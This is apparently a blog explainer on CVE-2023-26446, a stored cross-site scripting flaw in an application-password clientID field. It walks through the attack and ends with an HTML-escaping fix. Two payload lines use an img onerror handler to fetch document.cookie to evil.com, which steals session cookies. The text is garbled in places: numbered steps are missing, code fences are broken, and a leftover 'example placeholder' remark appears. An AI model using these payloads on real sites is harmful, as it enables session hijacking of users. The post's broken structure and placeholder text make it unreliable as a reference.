In early 2023, a security vulnerability identified as CVE-2023-26446 made waves in the web security world. This bug has to do with how the "clientID" field in application password management was handled: the field wasn’t sanitized or escaped before being rendered in the HTML DOM. This made it possible for attackers to execute malicious scripts in a user's browser if they could set or influence this value. This post explains what happened, who is at risk, an exploit walkthrough, and how it was fixed.

What is CVE-2023-26446 All About?

When you work with web applications, user input should never be trusted. Inputs must be sanitized and escaped before being displayed to users. CVE-2023-26446 is a classic XSS (Cross-Site Scripting) hole: the clientID parameter in *application passwords* wasn’t sanitized, so any script added to that field would run in the browser context of an authenticated user—also called a stored XSS vulnerability.

Attack Walkthrough

Let's say the attacker can create an application password entry in your account (perhaps you left your browser unattended, or they found a way to create an entry during a brief compromise).

`html

Save changes.

4. Next time you view your application passwords, *that* code runs—sending your cookies to the attacker.

Suppose the backend renders application password entries as

<li>
  ClientID: <span id="clientid">[clientID]</span>
</li>

And does NOT sanitize the [clientID] value.

Malicious input

"><img src=x onerror="fetch('https://evil.com/c?k='+document.cookie)">

Resulting HTML

<li>
  ClientID: <span id="clientid">"><img src=x onerror="fetch('https://evil.com/c?k='+document.cookie)"></span>
</li>

When the page loads, the browser parses the image tag and triggers the onerror handler, which leaks your session cookies.

- NVD CVE Entry
- GitHub Advisory

*(use specific product advisory if available, example placeholder)*

- Vendor Patch Release Notes

Exploit Details

No public exploits are known for CVE-2023-26446, but it’s trivial for someone with account access. Here’s a simplified exploit chain for learning purposes:

1. Preparation: Attacker logs into a victim’s account (requires credentials/session for a moment).

`

3. Trigger: When the victim later views application passwords, alert('XSS!') pops up in their browser—proof code runs.

Or, for real attacks

clientID: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

This would quietly leak the user’s session cookie to the attacker’s server.

Fix: How Developers Patched It

The vendor fixed this by sanitizing (or escaping) the clientID before inserting it into the DOM. That means any special HTML characters like <, >, ", and ' are safely encoded, and scripts can never be injected. Typical fixes use functions like:

function escapeHTML(str) {
  return str.replace(/[&<>"']/g, function(m) {
    return ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;'
    })[m];
  });
}

// Usage
document.getElementById("clientid").innerHTML = escapeHTML(clientID);

Alternatively, using frameworks (like React, Angular) to render variables is much safer, as they automatically escape output by default.

Who Should Care and What to Do?

- End Users: If your vendor patched, update soon; you don’t need to do much else. Avoid leaving accounts open/unattended.

In Summary

CVE-2023-26446 reminds us that *every* piece of user input, even seemingly harmless parameters like clientID in application passwords, can lead to a major security disaster if not correctly handled. While no public exploit is out there, the exploit is trivial once you see the bug. Stay safe and keep your dependencies up to date!


*For more details read the official CVE-2023-26446 entry. If you want technical guidance to secure your own web application against similar threats, check out OWASP XSS Prevention Cheat Sheet.*

Timeline

Published on: 08/02/2023 13:15:00 UTC
Last modified on: 08/07/2023 18:14:00 UTC